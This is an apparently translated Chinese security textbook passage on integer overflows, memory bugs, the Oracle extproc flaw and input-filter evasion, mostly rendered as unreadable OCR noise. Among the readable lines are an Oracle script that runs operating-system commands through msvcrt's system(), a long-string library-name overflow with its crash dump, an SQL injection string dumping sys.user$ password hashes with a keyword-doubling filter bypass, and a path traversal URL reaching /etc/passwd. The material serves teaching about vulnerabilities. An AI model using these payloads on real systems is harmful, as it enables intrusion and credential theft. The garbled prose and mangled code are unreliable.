(i > 5 && strncasecmp(uri,
(i > 5 && strncasecmp(uri,
(i > 7 & strncasecmp(uri, "

|
|
|
1
|
|
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return 1;
)
else {
return 0;

}

KEMEBHETC += 3, AFRRBREPIURIEE ://. AR, HEEis_absolute uri
H, TRFEMURIELL : // SK. WRPHROURIZF £ 1dap:a, KB A ek
R0 LRIMT . FIRARURKEYE: —AEFHHEAURL EXNRREF T
FUH . FEIXAIRIOPIT 8, UF0OE SRR I, B/ S TR, R0y
BRI, BATAE S VIS 2% RIX e L
1849 AHSHULEKRE

WERTF B A, R, SRR S KBED AR (signed-length specifiers) fif,
WA ERLR. FEREDHIE (specifiers) (Flillsize_t) REMSMN, RALQHEK
SRENRIF (Bltnore o) AHZBIXF MY, WRLANMEF SR, SR
B, EMKEERAER, THREARERENNTOM k.

NGRRARIG B f1 KA, BRATIRAT LB AR M AR R R B [ ) bR, R, AT
ARG Lt tH FUIE IEF AR R BT A AN o 1SO CHRMERLE, WURWEA AR FAARIR KR
SRR, TS SR HRAE A S 0 ine R, SRR BT AL, AL MR RY
H— MRS inc KK, BAXHM BB ERBRBIANAR, REHHMIE. L— RS
intAIE RS int LR, ERGRBLERSREA, Kb, o, THEE/FIHK
b

if((int)left < (unsigned int)right)

i, FEEAHBRA S0

if((int)left < 256)

SARIETF (Misizeof () RTM S, BMlisizeot MRS AN, ToIE R
TR

if((int) left < sizeof (buf))

R, FEM BRI, BRI, MR B SR .

if ((unsigned short)a < (short)b)

ERBRL T, A5 HRAE A2 RRGWR T, A T St KR, RO R A
Bt ELRRATIRE, B AR Mstrien () RIE— M ABEOM, BR, MREARANT
AR N, R E BN NI, A TR serien O BN
it

#£20024F HINGSSoftwareff/Mark Litchfield & 3L (f Apache chenked-encodinglifi, BRZA 1T
MBS B, T T B R T A H (R R
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len_to_read = (r->remaining > bufsiz) ? bufsiz : r->remaining;

len read = ap_bread(r->connection->client, buffer, len to_read);

XA E, bufsizRIEREMEBRTEMEFSE, r>remainingore KA
HRSH, WHBEARERER (chunk) @A/, #RIZE R len_to_readfifiiBlbufsizak
r->remaining®B/MI, BIMFRIANEAY, ETHLELRA. H5EESap breadlt,
SEBAEH K ES, M FBURATE R Mmemcpy. XSRS, Win32l, BU%E
SEHW LMZ 5 FIMIE . Gobbles Security Groupil: 35, Hi FmemcpyStBL— /MR, ©M14BSD L
AR

AR AP BAIR T LU BIX AR BAIEREBNT A A5 B AU K BE A Rt TRt
BT X R
18.4.10 EXUHAXRR

HLCB BT OB ZETIFH M OB, WA SRR KL ORI, BRZ 585
HAMF. 20024, 7EUSABlackHatff) “Professional Source Code Auditing” S, H—WiRE)
BEHE, REEXZAT, SR APAH AU B RIXEEH T .

R E IR AT SRR, 2R BB . SR AR/ ME
ERARIRAA (size) Lo 16MFFFSHHMMBAMIRI2 767 (0x7££6), BAMER-32 768
(-0x8000). 320 LTS HM IR KM /E4 294 967 295 (OxEEFEFFEE), T/ MERO0. WIR—16
BATHE S RN AE32 767, LIS, EMMMAER-32768, SHBHREN .

LGt KR, SRERGE M K/ NTT AR R AN S ) O SCR T A M R XY,
BRI B BN 2 NP AR Y, TRIEREH .

IR R BN B INBR AR, 45 SRR R / B MERTEE. B, T
TEARELTT e 25 RS

char *buf;

int allocation_size = attacker_defined size + 16;

buf = malloc(allocation_size);

memcpy (buf, input, attacker_defined_size);

HIXAMEIT B, Wi attacker_defined_sizef—16F1-1Z A fIFEAME, MK TR E M
, malloc () WIS AN, TikE Mmemepy () WAL BN, EIFERFH, &
] LU BN . RATFIFLX IR — E N, (X EHHRRSCIr7E.

RPN TEI SN T AR BRI o B 5 52 W B Y R

#define HEADER_SIZE 16

char data[1024], *dest;
int n;

n = read(sock,data,sizeof (data));
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dest = malloc(n);

memcpy (dest,data+HEADER_SIZE,n - HEADER_SIZE);

XA B, nFETE 1 W4 B/ F IO B/ (HEADER STzE), fEmemcpylffI3H
ENSHEXRERKESR (wrap).

A BAHTH 4 R R B KK, RAESRkRE . 20024F, 7EOpenSSHAISunft)
RPCHEHURBL T X2 . T A9CSH [ OpenSSH (34 BIMIRIA), 22— Mok th
BIF.

nresp = packet_get_int();

if (nresp > 0) {

response = xmalloc(nresp * sizeof(char*));
for (i = 0; i < nresp; i++)
response(i] = packet_get_string(NULL);
}

FEXAMPITF L, nresplt MK H SSHAHR G BH . M FRHREIIAD (FEXTRL) H
T, GiRAENHRAFREMEKD . WiRnrespk Fox3cEEEEEE, MTJF ML RGBINEFS
RRVMBAAL, PR AR RN AN, IR KR F AR SRR e B, wTRES|
R o AR, ER2 P OpenBSDRA T H 2 A MG HESE I, BATTEME LARAE M IR INFEBILHH,
T BUEOpenBSD_L w] LAF FX M TR IO - 2§ 47 P9 ks s b S B, A K6t
e HILEAL)E, (EH R LA P S BUN B, Bl TEpacket_get_string .

BUNMOBRCER SR A BB, 160D BRL N WG (Fllllstrien() MHE, AR
IR, X HHEHN P FRE 1DosPathNameToNt PathName_UtE i (IR, S84
FIIS WebDAVIRF, 140334 HMicrosoft Security Bulletin MS03-007.

HEYOFRTR B SRAR G, TEBR P2 o] LA B)E NI S . BRUERIF RIERE
TFR BRI ER, BEHAAKESREIREAK A ER . FEARRMJLES, KRR
A LR
18.4.11 FEIA/MAERIEIR

FERANRFANRS R, FTRERMBIRSMNLE R . ARBHFHEE R, KEHHAThE
AEK . RS RIUXH S, N EORATF AR . R 0T e & BRI
Ctruncation). 73 ¥k AL it 75 G4, ke S B AT 2242 ) B o

MRBERI B NER (0 5 (2B16RIRIGEIBAL) T HE S BULABTRAF SHeH. fltm, R
N RT3 N—65 535, WHBURI6A A i TARMT T KM w1607, Miii8 B
i+ 110160 REH

HRGA HBRIEA, MWNEIKH BRI 2 SBUF S R B, BAHS16
A BT 1 B O TR 5 320 ME RIS, 433045 S EL4GBRE o

RIS VHBYTF TR E I Fe . X T HOERAMIGCC, SRENEFINK .

XA FRATHY TR AR/ N R ] (AR FL e . B3, #ESendmail  ffiprescani®
Hob BB RIX KR RGBT« WRMAGX BB —ADHRFTFE B, HRBATS
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BS2BLEH A FIFHAF SH REI20L, fH-1, SHEFRI B nocharfSE Xt & HBLX .
K 5 300 i Rt R R 0 08 e X O AR A R

REHUNN, ERFRMERZ B LEBRFHERNG, WREEFELE, SNTMES
FIRMBHAR  EIAREF B JLF AT A A MBS RN R T X R,
TERNDIFENNAER

#18-1 MMM
BAVEE RO FIRZEMANEE Mz EME
16, HES -1 (Oxffi) 326, THS 4294967295 (OXfIFIFD
164, HES -1 (Oxfift) 3288, HES =1 (OXfFFID)
16f, KA 65535 (OxfTi) 24, KBS 65535 (Oxffi)
166, TS 65535 (Oxffi) 2fL. HES 65535 (O
3o, HIEG =1 COxFFFFFAT) 1640, ERS 65535 (OxfHiY)
oML, HES =1 COXFIFFED) 164, HES ~1 (OxfHf)
24, K 32768 (0x8000) 164, KT 32768 (0x8000)
3ofiL, XS 32768 (0x8000) 164, 5 ~32768 (0x8000)
32, A4S —40 960 _(Ox{fif6000) 164, #1755 24576 (0x6000)

18.4.12 TIREEIEHIR

RS AT RS A AB A, K AW HAE ST B, (BI IR L E W,
SREARMBAS), R, SAERET A b, YR A AL o LR R 1033

AL AR DT RRRIHR T CRERIBAEHID . YRR SHRE LI
BRAEA TGO T, ARSI, BUTBAEE OB, B IER IR
JERR . IREERATIRA, BARTRATHKD, (EREMHESR T 40 YRR R L
LECHHTILIE, WU (destroying) JEHISHI, TIHATILEIMRA CHRIL, A4l el
EESTIOR

S, Telibet R L RTERR IR AR KA G 2 R RO = KR, DL B
CVSHRZE B RIUMOWN, TR = HBI SR,
18.4.13 BHEEMAEFERARRE

A P A B AT — s TR A ), 2R R B T, AR AT K
ZARK, WATEEAL CET LIS AERARRIIAT
18.4.14 fERKRMIGILAETR

TERY T — SRS WSRO, B0, MARFAERIER, 23 %iE
AT, AT SR NGRS WAE, S ATHT SCH) . datask . bssBE L4
i, EREBAT R BAGHN RAL. (EA TR R B, FUF A e B, BT
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SRR, LABRRIEEATRIAL, DARERFAT#RIEAT.

IRAERAPAIA, ERABT, EMARRMIN. R, RIOENLHEHAYISL
WA QS BIR. Lt ARVIARM R R AR P AT AR CoR 20U i 18k B 9 2
#, AUREREMSH. RENFHFBREMNRDHER, RERMNNAEE etk HiE
T. WREGHHRFRE, R TRENRTER BHRA TS BARXARR.

ERA A B B BRI b L, B B E R S BRI A 5, R S R
itk XA — BRI LR BHAT RRFIB, WAL T ERMR T RHHRA SPITH
ARIBL. RFGIFBARFERARGIER, FI, MK Visual C++ H T — LRI,
GCCHI bt — %50, HFHMARMARA, Bk, BFRHE TR EARIXEHIR.

FEBIT R T ARV R .

int vuln_fn(char *data,int some_int) {
char *test;

if(data)
test = malloc(strlen(data) + 1);
strcpy (test,data) ;
some_function(test);

}

if (some_int < 0) {
free(test);
return -1;

}

free(test);
return 0;
}

EXANHFE, WMRBHcataH M, Hétcest RN MRBALEFR TR EN, &
AT RAIAMIRE . ER: geeBlVisual CHIERIER, MALE G T RAFEX MR

FA XA FLAT AP S BOE AT UBE M B], (EBIAE MR FF AR U3 7T B BLR AR
(4120024F, Stefan Esser/EPHPE ZILHIHIR) . RERYMBUZMRF LR DR, HEMNZH
AR, R R RAERF TR B,

18.4.15 BHEBERRR

BB X A AR, WEATRAH T, Bl freemst T F TreallocHil B 1K
BTk, ZEENIBRUR, AT E A G X AR AT SR A AL, B S BT
AEBATH. .

2455 17 DR X R RAEAE AR AR WA IR, SRR RN h A, SR J i g
XA R B AL, BRI X R T, XA UL AT A R AR IR BN
o XFWIRL S RRMIAE AL, AT RITE AR . 0 SR AT RIAHE AR
FURAFRIRAT AR, A S AT ARAL TR DB PAT S RS BLE « 2003465 7 R BLAY Apache 2
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psprintEMIAR RS FEANGIT, EohNEY ABBIBBUR, X ApachefI %ML
mallocHI A AEHIFES K.
18.4.16 ZLBEAHEMBEARERD

REHIERF AR ELEN, R, G2 EREEFHARNDENHERREEI0E
BRb. £FRBERFE, ARNKER AR —2RERN, MREREELNHE, ThESH
WHER R FE . XAHR— BRI, BRI RO RN BT EHMR, FWRT

EHHILEAT, A EIHEA MR MR, TARRERE.

20024F8 5, Michal ZalewskifEProblems with Msktemp 423, %44 RERLEBIMAET
INUNIXHME 5 RE A S EITHS L. MREFSAEOBEF, BHZLMERTEARE
B RATAEFHAFEL.

REVFERPEERERANBEAREMRAE, BEBLBREN (re-entrant) AT H B B2
KMHEN. FIHXRRRN, BEELWN A SRBORS. XHFHTFRIEREFERRZ
SRR XML T A4, TR AT AR R I BCE B3k ANRARASKR R A X MBS, R
[y ] A A R AR A
18.5 EHIAR: HIERRRAFIHIR

TERB IR, RATRIUGBMHSF A RIVEH L LR REFRH LRI~ SHEL
i, AT ARG . RAETE RIS 2 AE R B AR AR A, (i
IR PRI A AR SE K R IR R A T

NI 55 R 2 A R R ) S AR AR I . B RAEE BRI B I RN,
Beiti# AEFERIFTA AE T, FFRESRTEARDIAL R3S 244 B8 AT 0 B AL SRR T AT B B R 2. YR
BB R RORHEIIE, UBAE— B FREERORE GFRK). X
T SRR 2 T DU TR A 7E Y S BRI 5 20 BB 180, SRS A 9 AN R 0 1) AR o AL 5 AR T
BERHET .

18.6 I

WP RRE S NHE, B RHE TR, R IE, ATl T— SR
MR, AT RHFOAIRS, FBHFRAM L. SR, FIEZ TR, B
L0 R S0 W REARAT BN 2005 RIS . BESSE, A KRR R
TEATRIF 9 2R o A2 8 o (SR e



F1o%

 FImEE |
&

-

s MHERTTEAE T KRATEA BRI, R RLELIAY, EFRWFANRARE

FLRAET. ELATERES, KNRBXMERRERK, £LETATL

B, FLEE-HSH WL, FHRRAENETRENRRE. RIMATRT THATS,

FATFRT TR BT, H A — LA R F R . ZERRMARIE, LUA&YE

MMARIER . MARIERBIFL R L% LB E, BREMRARERX S,
AV LA AT BT, P HAR K A L A .

191 &M

A1) H R R R AT SUH RS, AR RS RAT 0 b, AR A
HERTRLATAR, WA R SO BRI T A RATEAR MRS, E5HM0, &5
LB, ROIMABRAE: ERRTER R FRITRIUR, MR R BB
AR, B AT A UG, 918 MR QBRI IBIE, Bk, #TAEE -
SRR NSEAMICHE S, YR, KSR B A AER B L B H R AL R LU Z R
AT T S . WIFRIN, hSRARUEAR.

BT A F o

O R R SASGET, WAMIRR T .

Q WA GEAFERIFAN KR AR, AR LANERGATH, IHER

IXUEAT R LRI A A S (FTRHR T REAR B ).

Q WESHHATH, FR3 RGHAT U I WG E RN

O WA, HEWRT RBTH ARG k.

TR LS, BV LA ) SE AU A

19.2 Oracle extproc it

Oracle #extprociit th R A 1575 %2 %, Wotn.oracle. ity/pd: 7.
pdf. 52 4% (f/Next Generation Software (NGS) #f# AI LA 2 www.ngssoftware.com/advisories/
ora-extproc.txt.

2002495, JFHRFH AW, Next Generation Softwaredt % T 1 #11Oracle RDBMS,
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H BB AN ZEALTHEH it Oracle DBMS, FEith, NGSKIXWK# iH#4M =k . L2,
David Litchfield?EextprocHlH R ELRRT —Mbug, FEHKKRMPoE EHdHE—HH. T
f##David Litchfield 54 KT —Mbughty M T3 F RIS SIREE.

HDBMS— i #83H; “ 1 1” SQL (Structured Query Language, 4#{L7FH#]iE ), SQL
SCRFESIRMBA, EEAVAESAE. BB, SQL Server M 1177 & HiFi b Transact-SQL,
HFWHILEGESS IFBA%, BRULZSh, SQL Serveri ] LU “4 EAFfiTFE” GXLZDLLE
B 5E XL ATRUHC/ICHRE) BRI RATZH

SQL Server (i EAF i Fi v EAFAFEVF Z ErhIX R R, BTLABRATHEN, SN
HIFDBMS AT g 2 AF AR . F I/ HOracle T JRAF &2

OracleB Bt HITIHELLSQL Serverftf RAFMEL R £ 8, B AVEHHHUERERE, TAMUL
JEFBLETISE S AP MR M. #EOracle R, BV (ISR U BERR o oh SRt A2, 76 g5

B, extproctf HOracleSR LSRG, 0T LASIRY 7 2EE e B EMBARERS .

FAMTEE AR (K RTINS (Transparent Network Substrate) H1ifl. & J&OracleH k& i1 —
5y, FIREEOracleld 72 5 % PR RS HAL M A MO . TNSR— D REBIMIg . T
SCRMBIN, HREMS, B-BARAB. BRI R Oracle % .

Rfi1sE S B extprocT T4t 4. LA Windows L #JOracle 5, ZEOracleid #2 HK/AHTH
IARMERE R VI, HE7E S LT 8L B W7 i——connect. accept. recv. recvirom. readfile.
writefile®, XHLME T KRIMSMEURMA .

David Litchfield X3, OraclefE iy FRAFLIEN, WA T —RFUMTNSHMM, JFHR =4S
Kﬁféﬂﬂmm&@?ﬁiﬁmu extprocfB 5 Oraclel 3l {5 1 E RAIALER A MW, AR
IXREAT: ARIRAE (RIEFER i E —H) MM extprocllB¥UE, (R5E) LA
1E4Tlibesmsvert . a1l (FEWindows |) Hffsystemi ¥, MMALHS KAREHT. BAHMRS
FOREHE R AR SRR, (EEBRN RN T (FEOracle B IUXMERZ D), MURIXAE.

TATICIX AN VR ) Oracle il T, IFMAAT —R KA T 3T o #RET LL7Eotn.oracle.com/
deploy/security/pdf/lsextproc_alert. pdf 5 F JX N ¥ (294 ). David Litchfield ff) £ i W, www.

i i txt.

4 OraclefEX MR B AT R W BB (HERERLTHH), RATHE HRE FFTA 55+
HOEFRATRIOAT H, AR EE 2 MR

B LR ERE R, B iROracle, BT FHEIMMIA, FRKAEFBITNSHHS T
(4% 4 David KR 3L “HackProofing Oracle Application Sever”, 7 ww
hpoas.pdfa LARF)) o

;::: oracmd. sql

Rem

Rem Run system commands via Oracle database servers

Rem
Rem Bugs to david@ngssoftware.com
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Rem

CREATE OR REPLACE LIBRARY exec_shell AS
‘C:\winnt\system32\msvert .dll';
/
show errors
CREATE OR REPLACE PACKAGE oracmd IS
PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec (cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY exec_shell
LANGUAGE C; end oracad;
/ .

show errors

RIFIEATLL P AT FE AT IR

exec oracmd.exec (‘dir > ciloracle.txt):

TP, RATMRAE create or replace library#fREFLHAHNRMEH, RE
eI E AP Levond) MBRAMMN, SR — Mt K@ B0E 40, T &5

CREATE OR REPLACE LIBRARY ext_lib IS 'AAARAARAAAAAARARAARRARARA...';

WRTEE RIEWA AR

CREATE or replace FUNCTION get_valzz

RETURN varchar AS LANGUAGE C
NAME “c_get_val®
LIBRARY ext_lib;

select get_valzz from dual;

AHRM AR AT | FROmdeA S, BARANAH TR TR, RIBHIORRH
Fere T HIXA AR B SEE AR R R A Oracle UL -

FitrileMonIHi R, RATH %A Flextproc/E HITNS Listener (tnslsnr) HRR B,
Movk s iR ens1snribRE (ZEVAMERILRER tnslsnrfOracleflextprocZ EMFFA, XK
SEBETNS S o B TLEIX FLAL 93k 48 4 WinDbg, B4 E0T BAR T (PR Tl . R
WAL R LRI

(1) #81E T4 ffOraclefiit 55 «

(2) K #)0racle¥dR MRS (' oracleService<hostname>* e

(3) A4 4T4#4T windbg -o tnslsnr.exe.

X% fir&-{ WinDbg#IATNS ListenerFITNS Listenerf 513472 TNS Listener EZATF—4
A R L
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- BRI T » 5 R7EWinDbg A FIA AT B A 7

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

2ax=00000001 ebx=00ec0480 ecx=00010101 edx=fEFEEEEf esi=00cbbfec
edi=00ec04£8

eip=41414141 esp=0012ea74 ebp=41414141 iopl=0 nv up ei pl zr na
po nc

©8=001b ss=0023 ds=0023 es=0023 £s=003b gs=0000

@£1=00010246

41414141 27 222

XKW fEextproc. exe TLAF AN HUARHS . EVCHINRZ G, RAVEBLXA HEA LEH
Windows - £ «
Bl create libraryi# Ay LU —A i Bl X AR . {H R [P A David 841 )
extprocHit, RAAHFUGITFEH# IFE M M extoroc R TTREM. ik, RITHES—E
PRI, RIVE BT, Z, RANEOracle ERIL T —MARTINENIE
PR R« RANATRE” AR Ikt
B, XL — MR TR, XTSI AR RIBITSMEL R R, B/
5 W .
M TR M bught R
O £ T ##SQL Server ¥ WLIX L 14 B $CHT MR, RATAEBIX AT BER A RALH LRI, 1T
HH 8 B RS E IR 2 &7 A R OB R, BRI FRATTHE B Oracle th AT i F1 284U
]

O AR TSP B Oracle A7 2 J3 BB, 7EBATINIERTAT AT REPAT SNt AE——iR
H1.

O T U0 FH A B o B0 44 V17 1) BR BOHIX AN AR (A —AexteprocHiif A TRUE), RATAE
PR T — AR .

O ARSI TR (Russinovich flCogswell & Wi f¥FileMon) Hiik UM E.

O REERIAT R RO VAR, JRATVT 5] 47 Skt th 0 5 B —— R 2.

BAVBAT ASMAEATNY, FURICIASIAE 10, AP ARG, ks
RARZIITH

R, OraclefERMS7TRAA TIXP MK, FFMMERE T IRA.

19.3  EiB Ak REAGHFE

IEMBRAVER TG RIBIE, LRI . L L 0)LEF, JRATRERRA
FReml, MABLEF G, WIFEERERR, H2RIUel]. T F @M uEx
SEESCRA N, ENTATRE LA YA 5 T AR PR
19.3.1 EEREEDR

A IR B AR AL LT SR i I 3 R A e A R I — AR 5 -4
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R, N HEAREA FEA, REN-ARFER S ARE. FEE 26T,

1. =M ZBR R — & EH Lryshamite

5 ZAHK )T R AT TH A 41 K Oracle 57 5% i M1 Andreas Junestam &I 4 & 18 By FF (0 1)
& (¥ A Microsoft Bulletin MS03-031). 4 7 & |47 i@ (4 AR 7, #R AT LL7E Windows B F
HandleExiProcess Explover (3K FiSysinternals) BHEIRIRALRAX S (BILEMANFED KR
. WERFEABIEA M.

TEUNIXHL, bR AT s B v L SCAB AR, SR IR R AT R AT — R
S, FIRIA—R, MRREAF I RS, A TAKEFHEY. EXAMFTE,
Itrace/strace/truss &S 47 #I LA o

2. —NHIZEA—IMNBAY . BhAS LA R R

OracleFISQL Server 45 R % iX K /8, HH{93EDavid Litchfield Bl fextproc bug (Oracle
4#429) F%/SQL Server AL AR .

[FIRE, RIS TsaPTi i At R £ M8, ALHECommerce Server 4114, TsM.DLLit#EH .
sQLxMrid %5, .printer ISAPIY ¥R % . REAMUFHHE LT MK FHRFHZOTH,
RHVBHL T FEMPER ), TS B R A

FIX A A B 3 AR SRS, W Apache mod_ss1 off-by-one bugl fimod_mylo. mod_cookies.
mod_frontpage. mod_ntlm. mod_auth_any. mod_access_referer. mod jk. mod_php#l
mod_davHL1FE ) i ki .

SRR PRI R, W DAL IR R

3. —MHREA— TR EH EMEY

RASAIEL A/ E XM RK, HIXPI2%E K. 20074 4 3L Microsoft Windows
RASMAN RPC bug (MS06-025) F&WIXb [ {547 %, oAb SERPCHIS R F e,
4nSun UDP RPC DOS. Locator Service #§ti. Dave Aitel % ()% FMS Exchange i} b & Daniel
Jacobowitz&Z B ] statak 2 pk RS .

19.3.2 FERIREEIRAT IR )8

Lhn - FBRE IR - FTE R, TRERLEIRA. Sohs LIRS R EENZ
TR B AEAR W, MURRN R BU— ARG (TREER A LAREAD RSHE
MR, 3t R ) e O R R BT G ERR O A AR

ERA L, BATTCUXRERR: RME ORI 4T HR. £OBITIBE O B —LMAES
Wil (), WG O RBITXAT H . ohAT 44T He. Hetl &L () HEMAZIIDMIAT N,
WAHEIXHIRAT HFF A Gbad. Wik, £ LATRHRCEA W EGCPad, £() LHUXMHLHIMIME ik
RATEME. WiEe O MBIN, BRI CoadfEMRRA RRA=HMALE.

KA, JREAT P

O HIRHEABK AR R, SRR MR, TR O BN 2 M.

O ¥R TEM, g0 hO 104 3O ST 8.
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B, A TREWin32 X RERH, THEH —MEFRIMA . RIERF IR
HABETE, TR RAFEN TR,

O XHAMERATRNT R4 . TRA—MEINFR, AR (O FXHLRETF.

O AR BT, BUXHIIE, EhRARFITS, BEERLES ).

O AT RERARK B, RANKFENIE, EHRARIAML (V.

0 HARMHFTFIAN—ANTHR.

BIXAMEFFITH , XL AT UE A RSP B (02, SRRSO R H (R Win32 APL
CreateFile) SHMIBRAE THEHALRNME, MFHF CRERD.

O AT RELORAHLIFS . MREXF S, - directory nameFRM& LA, 5
ZA#/RSMB share name, FileSystem APLRRRAS I X4HTH/ MILEH (RIE) (THRED
HEHIXAIEE

0 A BETTHEEBNAN T 4, RR R UnicodeSCHF# 42, LI HIFileSystem APIRINAIK
BEBR.

O AR RAELIN\P\UNCTFAR, AR I SR M BRE e AT N

Q T4 AELI\ . \PHYSICALDRIVE<n>TF#f, <n>RBEITIFH. MBIFMEEI0 . HFLGK
BRRINRS T o XA IR T TP ER R 3 o

0 SCHZ AL . \\pipe\<pipename>TFff. #5414 il <pipename>.

O XMFLWATUARES ¢ ERYIMIHIBRFLIF). XFRNTFSIMFREBTHH
Calternate) BV, & LUEN U3 R0 SCHIEATH R0 ER, {HA AR EFIHKREERTR
~Fe RGO IEW B3P BAR B : SDATATCHFIE .

Q MEATTUERE (EREREL) “.7 &R 7 Fol. i—HMRIEOREBIRHAZ, F -
WRFRRRE R A RAE.

ATRERA R E AT 0o X EBRBNRBAPI AEBAT T ROBLZ S AE, RAfF4ii
WAEMAN, AATRERTIESIN M. Bk, WEEH MRS, DOEMRIKERERT R, I
FRGEL B AN KA MR Bt R

PR EE (EARRZTH (Kshellcode) i FBUifbugfITIS Unicode bug. TISH X #F#bug.
CDONTS.NewMail SMTPYEA il #. PHP(fhttp: //£ilenamefT X (AEMITURLITFF M) FI
Macromedia ApacheViF%ill#% i (ZEURLY: RN L—AMHdit i 224 3 oT IS B0IRED) 8. L
AR — AN YRR M SRR T LUR O AT R .

AFAAR— T, 3t 2 SR A 2 0 6 907 ) S IE B R AR R M N JRAE « AT 48 IR M NFE ) |
FOCHBMRRT . EARRE G T E, R X KSR A AR R BRI — A AT,
VPTR (Virtual PoinTeR, MERMREN). TRAFHIIEEIMEE, 5o ERRFH MBS, F—EFER
R 5& YRR RA R & Lo

JUFT A i Bt 0 B Mt 7 2 T AT O R o 26T BB AR RS B (1 sk Py, %
AT — AT AR B A IR, BB A S SRAR T LAGRAIE AN 2 (8 S0 SRR i AR AR AT LU
FORASTT (IS 4 T P 2 (A (K R AT Tt o
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MREILRY LT SOR L HIAL, R AR MR EAEAN B — N MR X B B AR, Bt R
AR IR XMLAS 2 52 0 Web .55 (R 95 48 K S E-mail FUE BOBGR 9 Web /R 4538 W0 RS IE B
[ “FATAREHTHIN ", 5T HRbught kBN %R ERRRI T -

19.3.3 FHFRXEEAYEE

FRABWAN T RABEHEEA, v, ERERE. REHERRENHAR
WELRERRMEA . XM T, ROTEAR M ERTE, BIFABRTINRXE, FA9RE
R A SR BT IR AR 4

WebJii 55 88 S 1 5. —HTTR AR e SEAR A Sk 1T RE AT R R - HE B . A A SR B A —
MERITES, TR E— N FEIININ. Apache B H5E T —/MEIEA STLAIWeb J735, Sl
PR THRNE . MifRomd.exefif, it il I T Web R 4 B80T M 0 IR VE & SR, 1
sk fip.exe 2 BT

FERCAN R 16 BT AR YR R AR H B35 7 W X 4K
19.3.4  HIAMEFRANE RO RHE H BT B R

AGERINE G AR, TTRACRE RGERE A P P AT LU 40 s R et A2

BERLTHEEE, HACLRBERAHRIE, FHERALA NG, SR, 4
P Z FIHBAT A KB IR AEIRE] 53 50T LIS B0 M 45, ARBRAEDI S (AR
fHa “UUE™. XA FBUFAIRT, WOracle extproc, WA — ‘wrcmmwf, b, Lotus
Domino £ ) view ACL bypass bug (ww txt), Oracle
mod_plsql H ) 4¢3 A IE # iR ( p i!i‘ icati
by-pass )« Apache fy R X 4} K /N5 ) WA Cwww.
macosx-admin/2001-June/020678.html) 25— MBI T . EAIRY), HEBRBIALE
ARV B, H AR TRER

LEAR B Web B2 L th T LATF BU2S A B PRMETTRRIERA ML, BTV EA) B 45
REMIHUE] (RIEID) HRARIFNIERE, B, TRARE LSRN T R R HI2ED, ALk
AR .

1935 E&ERM S TR EE

WRT HbugbAHARIE, BB LK, FAMERR S BHHR, B4
BT IX AR

O www.ngssoftware.com/advisories/sambar. txt

Q otn.oracle.com/deploy/security/pdf/2003Alert58. pdf

QO www.ngssoftware.com/advisories/ora-unauthrm. txt

Q www.ngssoftware.com/advisories/ora-isqlplus.txt
O www.ngssoftware.com/advisories/steel-arrow-bo.txt
Q cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0891
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Q www.kb.cert.org/vuls/id/322540

EHRERT, WMRIREUEZ TR ARG R AR, MAATGH RS BN RATFTERF
ZRMERL T, Bk, 7ERFTORE R R RS, NIRRT BURIRAF (0 B AR . AN RELARIA
{EZ firoot bugfDave Aitel & F(fIhello bug (cve.mitre. orycgkbm/cvename cgl?namFCAN -2002-
1123) FiDavid Litchfield X BLHISQL-UDP bug (ww dp.txt).
BATE RIS R RIHEHE MU0 S TEAS T BATE AR 50 o ARyl , ff.——";“F‘ﬂéT
MIERYES A LAR B st 2 76— NMARM THRAIMR A6 T8, sz PRER S
RN P REEAF CMRE A uidUuid k07 B “uid HOWAREARAT S 7. X T5 G
5y WRARAT P e SR «

19.4  SRFMARIEFNI AR

FERR E AR R LM RAE NI B RS0 e bug s NASUL & (5. AT RBEN
AT, AR IR AR LA, PRS- Sd RAE ik

19.4.1 RIESREER

FRF B — MR 2t IE A R B (BRI WTERI it o IEWZAR — AR A
el b IR RIS FIBTSQL IE AR, IRAT & E—MHESQUIR B X (i
select. union. where. from®) Misak.

TRBRATHHA

' union select name, password from sys.user$--

S MAEE, TREAT

' name, password sys.user§--

EARRBAVBER . SR RIMIL ISR, SOLmEdA R, EXAMIT R, RATTLUE
TSR R R, W

' uniunionon selselectect name, password frfromom sys.user$--

EHAMERERCE ASK —ANEA. MEE, FEELIET, T OEGRRITAEE
LR AR, XA ARG B AR R B 7 RF 4L AR A 478
194.2 fERREHRD

LIk 4 N TR I 5 LR U7 R MR AT A R R . B, PRAT R IAWeb FRS%-25 R Web
S FRR P AR MR (K 7 7 AT ARSI 40 FE . TIS Unicode#i#3IX 534F (specifier) suBfiAt st

B, EUSE, T MURLZAHIEH:
O www. example . com/$c0%at

0 www. example. com/$ucOat
ARG T RIS SR HIAE TR o R0 AL RIUFR P26 010 M 241 Sy T T A L TAB
[B14 S #4T . EOracle Tz_OFFSETHE I, ZH#E 1L timezoneK ¥, {ATABRL. RATYL N
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XA S B ARE, BR SRATBER A RIE TS50 @ W 0RER) T HREL 5K,
BAHEA AT BB T TAB, Bt AIDBATAREF, X ETRE LA Z Hshel B 424
FITABYE A 4 BERE®.

HANB AP R1sapTid 3, SREES CGRIE) MEIRIS Bl RM ik .
1 SR R A A AE 110 W 3R /downloads H % B M $(# ( www.example.com/downloads/
hot_new_file.zip), TIEBMBMAAER. MEBR, X TLLIXAMRE], RATTLAZAR:

www . example.com/Downloads/hot_new_file.zip

BEATAE? RREA:

www.example.com/%64ownloads/hot_new_file.zip

OK! B2 HLeL T o BRAEARAIATERR AT LA i downloads H % T !
19.4.3 £ XHCIRFFE

EAIRBI A (UE & T Windows, [ZEUNIX F 4 F, (Rt lERTEMMT . RERA
LUFAE—4, ST LR BRI MR AR o

O EAME R s A S BAE

O BRI O B I S

O ISR AT AR R AR, SRR SR TT N .

1 BRFH R LRERRE

B FRA S AT . TR BRI T, R LR 4, AT SRR H R4 76
LU — NP, RATMBIERE N FECHR6r 40 52 M0 HLE WebIN: IR P BOA SR
M BRI £11e-pathBHCR MR F USRI 42— KA

Q data/foo.xls

Q0 data/bar.xls

O data/wibble.xls

Q data/wobble.xls
AR

www.example.com/getfile?file_path=data/foo.xls

NI, R E RO RGAEREI S ART, SR LR EFTH 151 H R AT
B, RRATHA I F SR, RSO R

www.example.com/getfile?file_path=data/foo.xls/../:./../etc/passwd

2 HUEMFHEFHAEREE

S R, T AL R, BATRRE - W55 BI R SV R0 FAE T SR,
RRIEM B (.0, 3 EARAE £ Le-pach B ¥ R F R AR FIICREK AAAA L
WRAIERATI V5 AT MO %

